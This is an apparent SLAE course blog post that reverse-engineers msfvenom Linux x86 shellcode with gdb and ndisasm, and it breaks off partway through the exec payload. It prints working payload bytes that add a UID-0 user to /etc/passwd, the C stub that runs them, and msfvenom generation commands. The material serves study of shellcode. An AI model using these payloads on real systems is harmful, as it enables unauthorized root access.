Student ID : SLAE  - 1314

Assignment 5:

In this assignment (4) four shellcode samples from msfvenom will be analysed. In this particular exercise a reversing methodology will be provided in order to identify and understand the execution mechanisms of msfvenom samples. Furthermore, according to Offensive Security site, msfvenom is a combination of Msfpayload and Msfencode tools, putting both into a single Framework instance. The msfvenom tool replaced both msfpayload and msfencode as of June 8th, 2015. The msfvenom tool is extremely useful for generating payloads in various formats and encoding these payloads using various encoder modules.

Specifically,  the goal of this assignment is the following

  • Take up at least three shellcode samples created with msfvenom for linux/x86
  • Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode 
  • Present your analysis 

Disclaimer :

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification

All the development and tests have been done in the following architecture 

Linux kali 5.4.0-kali2-686-pae #1 SMP Debian 5.4.8-1kali1 (2020-01-06) i686 GNU/Linux 

Before we start the analysis we will check the list of available payloads from msfvenom

root@kali:~/Documents/SLAE/Assignment5#  msfvenom --list payloads | grep "linux/x86"
linux/x86/adduser Create a new user with UID 0
linux/x86/chmod Runs chmod on specified file with specified mode
linux/x86/exec Execute an arbitrary command
linux/x86/meterpreter/bind_ipv6_tcp Inject the mettle server payload (staged). Listen for an IPv6 connection (Linux x86)
linux/x86/meterpreter/bind_ipv6_tcp_uuid Inject the mettle server payload (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
linux/x86/meterpreter/bind_nonx_tcp Inject the mettle server payload (staged). Listen for a connection
linux/x86/meterpreter/bind_tcp Inject the mettle server payload (staged). Listen for a connection (Linux x86)
linux/x86/meterpreter/bind_tcp_uuid Inject the mettle server payload (staged). Listen for a connection with UUID Support (Linux x86)
linux/x86/meterpreter/find_tag Inject the mettle server payload (staged). Use an established connection
linux/x86/meterpreter/reverse_ipv6_tcp Inject the mettle server payload (staged). Connect back to attacker over IPv6
linux/x86/meterpreter/reverse_nonx_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter/reverse_tcp Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter/reverse_tcp_uuid Inject the mettle server payload (staged). Connect back to the attacker
linux/x86/meterpreter_reverse_http Run the Meterpreter / Mettle server payload (stageless)
linux/x86/meterpreter_reverse_https Run the Meterpreter / Mettle server payload (stageless)
linux/x86/meterpreter_reverse_tcp Run the Meterpreter / Mettle server payload (stageless)
linux/x86/metsvc_bind_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/metsvc_reverse_tcp Stub payload for interacting with a Meterpreter Service
linux/x86/read_file Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor
linux/x86/shell/bind_ipv6_tcp Spawn a command shell (staged). Listen for an IPv6 connection (Linux x86)
linux/x86/shell/bind_ipv6_tcp_uuid Spawn a command shell (staged). Listen for an IPv6 connection with UUID Support (Linux x86)
linux/x86/shell/bind_nonx_tcp Spawn a command shell (staged). Listen for a connection
linux/x86/shell/bind_tcp Spawn a command shell (staged). Listen for a connection (Linux x86)
linux/x86/shell/bind_tcp_uuid Spawn a command shell (staged). Listen for a connection with UUID Support (Linux x86)
linux/x86/shell/find_tag Spawn a command shell (staged). Use an established connection
linux/x86/shell/reverse_ipv6_tcp Spawn a command shell (staged). Connect back to attacker over IPv6
linux/x86/shell/reverse_nonx_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell/reverse_tcp_uuid Spawn a command shell (staged). Connect back to the attacker
linux/x86/shell_bind_ipv6_tcp Listen for a connection over IPv6 and spawn a command shell
linux/x86/shell_bind_tcp Listen for a connection and spawn a command shell
linux/x86/shell_bind_tcp_random_port Listen for a connection in a random port and spawn a command shell. Use nmap to discover the open port: 'nmap -sS target -p-'.
linux/x86/shell_find_port Spawn a shell on an established connection
linux/x86/shell_find_tag Spawn a shell on an established connection (proxy/nat safe)
linux/x86/shell_reverse_tcp Connect back to attacker and spawn a command shell
linux/x86/shell_reverse_tcp_ipv6 Connect back to attacker and spawn a command shell over IPv6

for the purpose of this exercise the following (4) four shellcodes have been chosen and analysed

  • linux/x86/adduser : create a user with UID 0
  • linux/x86/exec :  Execute an arbitrary command
  • linux/x86/chmod : Runs chmod on specified file with specific mode
  • linux/x86/read_file : Read up to 4096 bytes from the local file system and write it back out to the specified file descriptor

1st Shellcode Analysis - adduser 

The first shellcode to analyse is the adduser system call. Before we continue with the analysis of the specified payload lets see the information provided from msfconsole

msf5 payload(linux/x86/exec) > use payload/linux/x86/adduser
msf5 payload(linux/x86/adduser) > info

Name: Linux Add User
Module: payload/linux/x86/adduser
Platform: Linux
Arch: x86
Needs Admin: Yes
Total size: 97
Rank: Normal

Provided by:
skape <mmiller@hick.org>
vlad902 <vlad902@gmail.com>
spoonm <spoonm@no$email.com>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
PASS metasploit yes The password for this user
SHELL /bin/sh no The shell for this user
USER metasploit yes The username to create

Description:
Create a new user with UID 0

As we see from the description above the adduser payload used to create a new user with UID 0. Also msfvenom gives us the option to provide our own password, shell and username. In case the default credentials and default shell are used then as seen above the username and password will be metasploit and the shell will be /bin/sh 

In order to proceed with the analysis we will first generate the payload as follows

root@kali:~/Documents/SLAE/Assignment5#  msfvenom -p linux/x86/adduser -f c 
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 97 bytes
Final size of c file: 433 bytes
unsigned char buf[] = 
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51"
"\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63"
"\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65"
"\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73"
"\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a"
"\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58"
"\xcd\x80\x6a\x01\x58\xcd\x80";

Also, before moving further to analyse the shellcode with ndisasm we will first deploy the shellcode inside a stub file in C  in order to be able to run it with gdb

root@kali:~/Documents/SLAE/Assignment5# cat << EOF > shellcode.c
> #include <stdio.h>
> #include <string.h>
>
> unsigned char shellcode[] = $(cat adduser.c | grep -v unsigned | sed 's/"//g;s/;//g;' | sed ':a;N;$!ba;s/\n//g;s/^/"/;s/$/"/' ) ;
>
> int main()
> {
> printf("Shellcode Length: %d\n", strlen(shellcode));
> int (*ret)() = (int(*)()) shellcode;
> ret();
> }
> EOF

Afterwards we will compile the C file above in order to create the executable.

root@kali:~/Documents/SLAE/Assignment5# gcc -fno-stack-protector -g -z execstack -m32 -o shellcode shellcode.c

Now we are ready to run the above executable file with gdb. 

root@kali:~/Documents/SLAE/Assignment5# gdb -q ./shellcode
Reading symbols from ./shellcode...
gdb-peda$ b *&shellcode
Breakpoint 1 at 0x4040
gdb-peda$ r
Starting program: /root/Documents/SLAE/Assignment5/shellcode
Shellcode Length:  40
[----------------------------------registers-----------------------------------]
EAX: 0x404040 --> 0xcb89c931
EBX: 0x404000 --> 0x3efc
ECX: 0x7fffffea
EDX: 0xb7fb0010 --> 0x0
ESI: 0xb7fae000 --> 0x1d6d6c
EDI: 0xb7fae000 --> 0x1d6d6c
EBP: 0xbffff508 --> 0x0
ESP: 0xbffff4ec --> 0x4011f9 (<main+80>:   mov    eax,0x0)
EIP: 0x404040 --> 0xcb89c931
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40403a:    add    BYTE PTR [eax],al
   0x40403c:    add    BYTE PTR [eax],al
   0x40403e:    add    BYTE PTR [eax],al
=> 0x404040 :    xor    ecx,ecx
   0x404042 <shellcode+2>:    mov    ebx,ecx
   0x404044 <shellcode+4>:    push   0x46
   0x404046 <shellcode+6>:    pop    eax
   0x404047 <shellcode+7>:    int    0x80
[------------------------------------stack-------------------------------------]
0000| 0xbffff4ec --> 0x4011f9 (<main+80>:  mov    eax,0x0)
0004| 0xbffff4f0 --> 0x1
0008| 0xbffff4f4 --> 0xbffff5b4 --> 0xbffff702 ("/root/Documents/SLAE/Assignment5/shellcode")
0012| 0xbffff4f8 --> 0xbffff5bc --> 0xbffff72d ("SHELL=/bin/bash")
0016| 0xbffff4fc --> 0x404040 --> 0xcb89c931
0020| 0xbffff500 --> 0xbffff520 --> 0x1
0024| 0xbffff504 --> 0x0
0028| 0xbffff508 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00404040 in shellcode ()

The above output is from gdb-peda which you can find it here. At this point we will continue the analysis using the ndisasm tool in order to disassemble the shellcode

root@kali:~/Documents/SLAE/Assignment5#  msfvenom -p linux/x86/adduser -f c -o adduser.c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 97 bytes
Final size of c file: 433 bytes
Saved as: adduser.c
root@kali:~/Documents/SLAE/Assignment5# res=`cat adduser.c | grep "\"" | sed 's/"//g;s/;//g' | sed ':a;N;$!ba;s/\n//g'`; echo -ne $res | ndisasm -u -
00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E828000000        call 0x53
0000002B  6D                insd
0000002C  657461            gs jz 0x90
0000002F  7370              jnc 0xa1
00000031  6C                insb
00000032  6F                outsd
00000033  69743A417A2F6449  imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B  736A              jnc 0xa7
0000003D  3470              xor al,0x70
0000003F  3449              xor al,0x49
00000041  52                push edx
00000042  633A              arpl [edx],di
00000044  303A              xor [edx],bh
00000046  303A              xor [edx],bh
00000048  3A2F              cmp ch,[edi]
0000004A  3A2F              cmp ch,[edi]
0000004C  62696E            bound ebp,[ecx+0x6e]
0000004F  2F                das
00000050  7368              jnc 0xba
00000052  0A598B            or bl,[ecx-0x75]
00000055  51                push ecx
00000056  FC                cld
00000057  6A04              push byte +0x4
00000059  58                pop eax
0000005A  CD80              int 0x80
0000005C  6A01              push byte +0x1
0000005E  58                pop eax
0000005F  CD80              int 0x80

Furthermore, after the execution of ndisasm command we can start performing static analysis to the assembly code in order to understand which system calls are used and how. Lets start analysing the following snippet from the output above

xor ecx,ecx         ;zero out ecx register and sets the effective user ID to 0 
mov ebx,ecx         ;zero out ebx register and sets the real user ID to 0
push byte +0x46     ;push the setreuid() syscall identifier into the stack

At the first two lines above, the xor instruction used in order to zero out the ecx and ebx registers. Then, the instruction push byte +0x46 is pushing the setreuid syscall identifier on the stack. Furthermore, we can find out which system call the identifier 0x46 (70 in decimal ) is referring at, by searching the header file unistd_32.h. For 32-bit x86 architecture the following command can be used

root@kali:~/Documents/SLAE/Assignment5# printf SYS_read | gcc -include sys/syscall.h -m32 -E -
# 1 ""
# 1 ""
# 1 ""
# 31 ""
# 1 "/usr/include/stdc-predef.h" 1 3 4
# 32 "" 2
# 1 "/usr/include/i386-linux-gnu/sys/syscall.h" 1 3 4
# 24 "/usr/include/i386-linux-gnu/sys/syscall.h" 3 4
# 1 "/usr/include/i386-linux-gnu/asm/unistd.h" 1 3 4
# 9 "/usr/include/i386-linux-gnu/asm/unistd.h" 3 4
# 1 "/usr/include/i386-linux-gnu/asm/unistd_32.h" 1 3 4
# 10 "/usr/include/i386-linux-gnu/asm/unistd.h" 2 3 4
# 25 "/usr/include/i386-linux-gnu/sys/syscall.h" 2 3 4

# 1 "/usr/include/i386-linux-gnu/bits/syscall.h" 1 3 4
# 32 "/usr/include/i386-linux-gnu/sys/syscall.h" 2 3 4
# 32 "" 2
# 1 ""

# 1 "" 3 4
3

The results above are leading us to search specific paths on the system in order to find out the header file that holds the system call identifiers for the specific architecture. As we see below we can spot the setreuid system call by searching for the system call identifier 0x46 ( 70 in decimal ) inside the unistd_32.h header file.

root@kali:~/Documents/SLAE/Assignment5# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep setreuid
#define __NR_setreuid 70
#define __NR_setreuid32 203

Afterwards, using the instruction pop eax , the system call identifier will be loaded into the eax register and then using the int 0x80 instruction the setreuid system call will be executed.

pop eax      ;load the the setreuid() syscall identifier in to eax 
int 0x80     ;call the setreuid() syscall identifier

The main purpose of the setreuid system call is that it sets both the real and the effective UID for the calling process. The prototype of the setreuid system call is as follows

#include <sys/types.h>
#include <unistd.h>

int setreuid(uid_t ruid, uid_t euid);

At this case the ecx register represents the second argument of the setreuid system call which is the euid and stands for the effective user Id and the ebx represents the first argument which is the ruid and stands for Real User Id. After using the xor instruction at the ecx register and the ebx register, the setreuid system call will be as follows

setreuid(0,0);

The function above shall set the real and effective user IDs of the current process to zero which means the current process will run with root privileges. Lets continue with the analysis of the following code

push byte +0x5            ; push 0x5 in stack 
pop eax                   ; load 0x5 into eax

At the snippet above the first instruction push byte +0x5  pushes the system call identifier 0x5 into the stack and then by using the pop eax instruction the same value is stored into the eax register. Moreover, after searching inside the system header unistd.h we can see that the open system call has the syscall identifier 0x5 (5 in decimal ) as shown below highlighted with red.

root@kali:~/Documents/SLAE/Assignment5# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep " 5"
#define __NR_open 5
#define __NR_getegid 50
#define __NR_acct 51
#define __NR_umount2 52
#define __NR_lock 53
#define __NR_ioctl 54
#define __NR_fcntl 55
#define __NR_mpx 56
#define __NR_setpgid 57
#define __NR_ulimit 58
#define __NR_oldolduname 59

The open system call prototype is as follows

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

int open(const char *pathname, int flags);

As we see above the open system call takes two arguments, the pathname and the flags. According to the man page the open system call opens the file specified by pathname. The return value of open system call is a file descriptor, a small, nonnegative integer that is used in subsequent system calls ( read(2), write(2), lseek(2), fcntl(2), etc.). The argument flags must include one of the following access modes: O_RDONLY, O_WRONLY, or O_RDWR. These request opening the file read- only, write-only, or read/write, respectively. For more information about the open system call refer to the man page here 

Furthermore, based on the code snippet below the ecx register is zeroed out using the xor ecx, ecx instruction and then push ecx instruction pushes the null value on the stack in order to save if for later use regarding the second argument of the open syscall

xor ecx,ecx            ; zero out ecx 
push ecx               ; push null on the stack

As for the first argument of the open syscall there are three push instructions that will construct the pathname of the file as seen below

push dword 0x64777373 ; push sswd  on the stack 
push dword 0x61702f2f ; push //pa  on the stack 
push dword 0x6374652f ; push /etc/ on the stack 

With little help of python scripting we will convert the hex values above into ASCII text format and then the result will give us the file path ("/etc//passwd") in reverse order that will be used as the first argument of the open syscall.

>>> "73737764".decode("hex")
'sswd'
>>> "2f2f7061".decode("hex")
'//pa'
>>> "2f657463".decode("hex")
'/etc'

Then the stack pointer will point  to "/etc//passwd" using the mov ebx, esp instruction.

mov ebx,esp      ;perform stack alignment in order the esp to point to "/etc/passwd"

Later on the ecx register will be increased by one using the inc ecx instruction that will be used to set the second argument of the open syscall. As we saw before, the ecx register was assigned with the 0x0 value. 

inc ecx          ; increase ecx register

When increasing ecx register by one using instruction inc ecx we are masking the bits in order to have the O_WRONLY flag set. As we know the ecx register has the size of 32bits,  the cx register has the size of 16bits, and the lower bytes cl register has the size of 8bits. Increasing the ecx register by one will change the lower 8bits cl register as follows

                       ECX
  32--------------------------------------------
                                    CX
    --------------------16----------------------
                              CH          CL
    ---------------------8-----------8----------
    00000000  00000000      00000000   00000000

  + 00000000  00000000      00000000   00000001
    --------------------------------------------
    00000000  00000000      00000000   00000001

                                       O_WRONLY

If we convert the binary value 00000001 to decimal we have the following 2^0 = 1. Then converting the value from decimal to octal we also get 00000001 .As we see from the fcntl.h header file below, the oflag that has the defined octal value 00000001 is the O_WRONLY.

root@kali:~/Documents/SLAE/Assignment5# grep -i -n "O_WRONLY" /usr/include/asm-generic/fcntl.h
21:#define O_WRONLY 00000001

Moving further to the next instruction as we see at the snippet below, the immediate value 0x4 will be assigned at the higher bits ch register

mov ch,0x4      ;  move the immediate value of 0x4 to ch register

This means that from the cx register which has the size of 16bits, the first 8bits consisting the ch register will be changed with the following binary value 00000100

                     ECX
32--------------------------------------------
                                  CX
----------------------16----------------------  
                             CH        CL
-----------------------8-----------8---------- 
  00000000  00000000      00000000    00000000 
+ 00000000  00000000      00000000    00000001 
---------------------------------------------- 
  00000000  00000000      00000100    00000001
----------------------------------------------
                     
                     ECX 
       00000000000000000000010000000001
                           2^10      2^0

                         O_APPEND  O_WRONLY

Currently the ecx register holds the hex value 0x401. Furthermore, at the ecx register starting from the least significant bit (LSB) and counting by one to the most significant bit (MSB),  the 10th bit appears to be one (1) meaning that if we convert it to decimal we get 2^10 = 1024 ,where in hex representation we get the value 0x400 and in octal representation we get the value 00002000. Furthermore, as we see from the fcntl.h header file below, the O_APPEND has been defined with the octal value 00002000

root@kali:~/Documents/SLAE/Assignment5# grep -i -n "00002000"  /usr/include/asm-generic/fcntl.h
36:#define O_APPEND 00002000

According to open system call man page we get the following information.

  • O_APPEND  :  The file is opened in append mode.
  • O_WRONLY : Open for writing only.

Using gdb we can get the following results

gdb-peda$ p/t $cl
$18 = 1
gdb-peda$ p/t $ch
$19 = 100
gdb-peda$ p/t $ecx
$20 = 10000000001
gdb-peda$
gdb-peda$ p/t  $cx
$21 = 10000000001 <- 0x401
gdb-peda$

Finally, the open syscall will be called using the following instruction

int 0x80       ; call open syscall

At this point the open syscall will be set as follows

open( "/etc//passwd", O_WRONLY | O_APPEND );

The next instruction xchg ebx,eax is used in order to exchange the values between the two registers the ebx and eax. At this point the file descriptor returned by the open instruction will be saved in ebx register.

xchg ebx,eax   ; exchange the values between ebx and eax. Save the file descriptor to ebx to use it later in write syscall

As we see at the code snippet below the execution flow will be redirected at offset 0x53 from the beginning of the shellcode

call 0x53      ; redirect execution flow at offset 0x53 

The call instruction performs two operations:

  1. It pushes the return address (address immediately after the call instruction) on the stack.
  2. It changes eip to the call destination. This effectively transfers control to the call target and begins execution there.

Having in mind these two operations of the call instruction, it is interesting to check gdb-peda about the return address that pushed on the stack.

0x00404066 <+38>: call 0x404090 <shellcode+80>
0x0040406b <+43>: ins DWORD PTR es:[edi],dx

Afterwards, and when the execution flow redirected at address 0x404090, by checking that address we see the string highlighted in orange below.

gdb-peda$ p/x $esp
$40 = 0xbffff4d8
gdb-peda$ p/s *0xbffff4d8
$41 = 0x40406b
gdb-peda$ x/-s 0x40406b
0x40406b <shellcode+43>: "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004X\315\200j\001X\315\200"
gdb-peda$

Also as seen above the valid string is terminated with the '\n' new line character which separates it from the rest invalid characters. Furthermore, analysing the code using gdb we can see the following hexadecimal values in orange colour below starting from the address 0x40406b

gdb-peda$ x/42x 0x40406b
0x40406b <shellcode+43>: 0x6d 0x65 0x74 0x61 0x73 0x70 0x6c 0x6f
0x404073 <shellcode+51>: 0x69 0x74 0x3a 0x41 0x7a 0x2f 0x64 0x49
0x40407b <shellcode+59>: 0x73 0x6a 0x34 0x70 0x34 0x49 0x52 0x63
0x404083 <shellcode+67>: 0x3a 0x30 0x3a 0x30 0x3a 0x3a 0x2f 0x3a
0x40408b <shellcode+75>: 0x2f 0x62 0x69 0x6e 0x2f 0x73 0x68 0x0a
0x404093 <shellcode+83>: 0x59 0x8b

These bytecodes are actually representing the code between offset 0000002B and offset 00000053 where the execution is redirected from instruction call 0x53 as seen from ndisasm output below.

0000002B 6D               insd
0000002C 657461           gs jz 0x90
0000002F 7370             jnc 0xa1
00000031 6C               insb
00000032 6F               outsd
00000033 69743A417A2F6449 imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B 736A             jnc 0xa7
0000003D 3470             xor al,0x70
0000003F 3449             xor al,0x49
00000041 52               push edx
00000042 633A             arpl [edx],di
00000044 303A             xor [edx],bh
00000046 303A             xor [edx],bh
00000048 3A2F             cmp ch,[edi]
0000004A 3A2F             cmp ch,[edi]
0000004C 62696E           bound ebp,[ecx+0x6e]
0000004F 2F               das
00000050 7368             jnc 0xba
00000052 0A598B           or bl,[ecx-0x75]

The following output shows that if we convert the hex opcodes highlighted with red colour above into ASCII text, we can have a new user record in valid format that can be inserted into the file /etc/passwd. Moreover with little help of python we can have a valid record in text as seen below

"6D65746173706C6F69743A417A2F6449736A3470344952633A303A303A3A2F3A2F62696E2F73680A598B".decode("hex")
'metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\x8b'

Also as we see above, the default credentials are used because we didn't provide any username or password to the msfvenom command, so the username will be metasploit, and the password will be Az/dIsj4p4IRc . Furthermore the user id as well as the group id will be 0 and the login shell will be /bin/sh. The following output from gdb-peda can provide us with the expected results as discussed before. As we see in orange color below the flow has been redirected at instruction pop ecx after the call 0x53 is executed.

=> 0x404093 <shellcode+83>:   pop    ecx
   0x404094 <shellcode+84>:   mov    edx,DWORD PTR [ecx-0x4]
   0x404097 <shellcode+87>:   push   0x4
   0x404099 <shellcode+89>:   pop    eax

if we examine closely the address 0x404090 we see the following hexadecimal values in orange

gdb-peda$ x/20x 0x404090
0x404090 <shellcode+80>: 0x59 0x8b 0x51 0xfc 0x6a 0x04 0x58 0xcd
0x404098 <shellcode+88>: 0x80 0x6a 0x01 0x58 0xcd 0x80 0x00 0x00
0x4040a0: 0x00 0x00 0x00 0x00
gdb-peda$

if we look closely at the snippet below we see the above hexadecimal values presented in the second column of the ndisasm output

00000052 0A598B or bl,[ecx-0x75] 
00000055 51     push ecx 
00000056 FC     cld 
00000057 6A04   push byte +0x4 
00000059 58     pop eax 
0000005A CD80   int 0x80 
0000005C 6A01   push byte +0x1 
0000005E 58     pop eax 
0000005F CD80   int 0x80

in such case we can also use python to convert the opcodes in ASCII text in order to reveal the assembly code

root@kali:~/Documents/SLAE/Assignment5# echo -ne "\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -b 32 -p intel -
00000000 59     pop ecx
00000001 8B51FC mov edx,[ecx-0x4]
00000004 6A04   push byte +0x4
00000006 58     pop eax
00000007 CD80   int 0x80
00000009 6A01   push byte +0x1
0000000B 58     pop eax
0000000C CD80   int 0x80

The pop ecx instruction above will store the string in ecx register

metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh

Also from gdb-peda we get the output below

gdb-peda$ x/s $ecx
0x40406b <shellcode+43>: "metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh\nY\213Q\374j\004X\315\200j\001X\315\200"

Then the instruction mov edx, [ecx-0x4] will move the value 0x28 into edx register

mov edx,[ecx-0x4]       ; move 0x28 into edx register 

In detail, if we check the ndisasm output we see that the instruction right after the call 0x53 instruction appears to be at offset 0000002B. Moreover, the ecx register after the pop ecx instruction holds the opcodes at offset 0000002B because as we know the call instruction pushes the memory address of the next instruction on the stack. The edx register will now hold the contents in memory address 00000027 ( 0x2B - 0x4 ). Also from gdb we can confirm that 0x28 is present in [ecx-4] as seen below

gdb-peda$ x/x $ecx
0x40406b <shellcode+43>:  0x6d
gdb-peda$ x/-4x $ecx
0x404067 <shellcode+39>:  0x28    0x00    0x00    0x00
gdb-peda$

The edx register will be used as the third argument of the write system call which refers to the size of the string that will be inserted inside the /etc/passwd file. The decimal value of 0x28 is 40 which indicates the size of the following string

metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh

In the unistd_32.h header file the hex identifier 0x4 ( 4 in decimal ) specifies the write system call. The prototype of write is as follows

#include <unistd.h>

ssize_t write(int fd, const void *buf, size_t count);

According to the man page of write system call, it writes up to count bytes from the buffer starting at buf to the file referred to by the file descriptor fd. Moreover, we can refer to the linux System Call table in order to link the arguments of write system call with the specific general purpose registers. For example, regarding the write system call the ecx register refers to the third argument, the edx for the second and the ebx for the first argument and eax refers to the system call identifier which is number 4.

Furthermore, as we saw from the ndisasm disassembled code output before, the file descriptor has been kept in ebx register  when the xchg instruction were executed before the call instruction. Also as explained at the previous paragraph the ecx register holds the string value that will be placed inside the /etc/passwd file representing the second argument of the write system call. Next, the write system call identifier will be pushed on the stack and then it will be loaded into the eax register using the pop eax instruction. Then the write system call will be called using the int 0x80 instruction.

push byte +0x4   ; push 0x4 immediate value on the stack 
pop eax          ; load write syscall identifier 0x4 into eax 
int 0x80         ; execute write syscall

The write system call will be as follows

write(3, metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh, 40)

Finally, 0x1 is pushed into the stack and stored in eax register using the pop eax instruction. In unistd_32.h header file the value 0x1 specifies the exit system call. Before we move further lets examine the exit prototype as seen below

#include <stdlib.h>

void exit(int status);

The exit(3) syscall does not return any value but it takes only one argument, the status. As we know from previous analysis, the ebx register holds the value 0x3 that will be used as an argument on the exit system call which refers at the status of the exit process. When a program exits, it can return to the parent process a small amount of information about the cause of termination, using the exit status. This is a value between 0 and 255 that the exiting process passes as an argument to exit system call.

push byte +0x1  ; push 0x1 on the stack 
pop eax         ; load exit syscall identifier 0x1 into eax
int 0x80        ; execute exit syscall

The software interrupt is then performed by the int 0x80 instruction where used to call the exit system call in order to terminate the program.

exit(3)

To summarise, from the adduser shellcode analysis the following system calls are used

setreuid(0, 0)
open(/etc//passwd, O_WRONLY|O_APPEND)
write(3, metasploit:Az/dIsj4p4IRc:0:0::/:/bin/sh, 40)
exit(3)

 

2nd Shellcode analysis - exec

At this section the exec shellcode will be analysed. Before we continue the analysis of the payload we will check the information provided from msfconsole. 

msf5 > use payload/linux/x86/exec
msf5 payload(linux/x86/exec) > info

Name: Linux Execute Command
Module: payload/linux/x86/exec
Platform: Linux
Arch: x86
Needs Admin: No
Total size: 36
Rank: Normal

Provided by:
vlad902 <vlad902@gmail.com>

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
CMD yes The command string to execute

Description:
Execute an arbitrary command

As we see from the description above, the exec payload is being used in order to execute an arbitrary command. Furthermore, with msfvenom the id command will be executed using exec and the output will be saved at file linux_x86_exec.c as follows

root@kali:~/Documents/SLAE/Assignment5#  msfvenom -p linux/x86/exec CMD="id" -f C -o linux_x86_exec.c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 38 bytes
Final size of c file: 185 bytes
Saved as: linux_x86_exec.c

Moreover, in order to perform static analysis of the exec shellcode we will use the ndisasm tool which will produce the following output 

root@kali:~/Documents/SLAE/Assignment5# echo -ne `cat linux_x86_exec.c | grep -v unsigned | sed 's/"//g' | sed ':a;N;$!ba;s/\n//g' | sed 's/^"//;$s/;//'` | ndisasm -u -
00000000 6A0B             push byte +0xb
00000002 58               pop eax
00000003 99               cdq
00000004 52               push edx
00000005 66682D63         push word 0x632d
00000009 89E7             mov edi,esp
0000000B 682F736800       push dword 0x68732f
00000010 682F62696E       push dword 0x6e69622f
00000015 89E3             mov ebx,esp
00000017 52               push edx
00000018 E803000000       call 0x20
0000001D 696400575389E1CD imul esp,[eax+eax+0x57],dword 0xcde18953
00000025 80               db 0x80

As seen below, the first instruction used to push 0xb ( 11 in decimal ) into the stack 

push byte +0xb   ; push 0xb ( 11 in decimal ) on the stack

If we search for the hex value 0xb ( 11 in decimal ) at the header file unistd_32.h we can see that the execve syscall has been defined with that value.

root@kali:~/Documents/SLAE/Assignment5# cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep " 11$"
#define __NR_execve 11

Below is the execve syscall synopsis

#include <unistd.h>

int execve(const char *pathname, char *const argv[], char *const envp[]);  

As we see execve syscall takes three arguments. According to the man page, the execve syscall executes the program referred to by pathname. This causes the program that is currently being run by the calling process to be replaced with a new program, with newly initialised stack, heap, and (initialised and uninitialised) data segments. argv[] is an array of pointers to strings passed to the new program as its command-line arguments. envp is an array of pointers to strings, conventionally of the form key=value, which are passed as the environment of the new program. The envp array must be terminated by a NULL pointer. Afterwards, the second instruction is used to save the hex value 0xb into the eax register

pop eax   ; load 0xb on eax register 

The next instruction cdq extends the sign bit of eax into the edx register. This means that if the sign bit is zero as indicated by the flag  SF = 0, then the extension of edx register will be 0x00000000. This is an alternative way of zeroing out edx register. Regarding the placement of the syscall arguments we are starting from left to right, and at this point edx is simply 0x0 because the char * envp[]  argument is null. Then edx pushed into the stack with push edx instruction

cdq       ; extend the sign bit of eax into the edx register
push edx  ; push edx on the stack 

Furthermore, using python we can transform the hex value 0x632d into the equivalent ASCII text representation as seen below

Python 3.7.5 (default, Oct 27 2019, 15:43:29)
[GCC 9.2.1 20191022] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> bytes.fromhex('632d').decode('utf-8')
'c-'

the following instruction pushes the 2 byte data item "c-" or "-c" in reverse order inside the stack

push word 0x632d ; push 2 byte data item 'c-' on the stack

With the following instruction the contents pointed by the stack pointer will be loaded inside edi register. As we saw before the last instruction pushed the characters "c-" on the stack, where the esp register is now pointing.

 mov edi,esp  ; load the contents pointed by the stack pointer to edi

Afterwards, using python we can provide the ASCII text representation of hex values 0x68732f and 0x6e69622f that are pushed on the stack

root@kali:~/Documents/SLAE/Assignment5# python3
Python 3.7.5 (default, Oct 27 2019, 15:43:29)
[GCC 9.2.1 20191022] on linux
Type "help", "copyright", "credits" or "license" for more information.
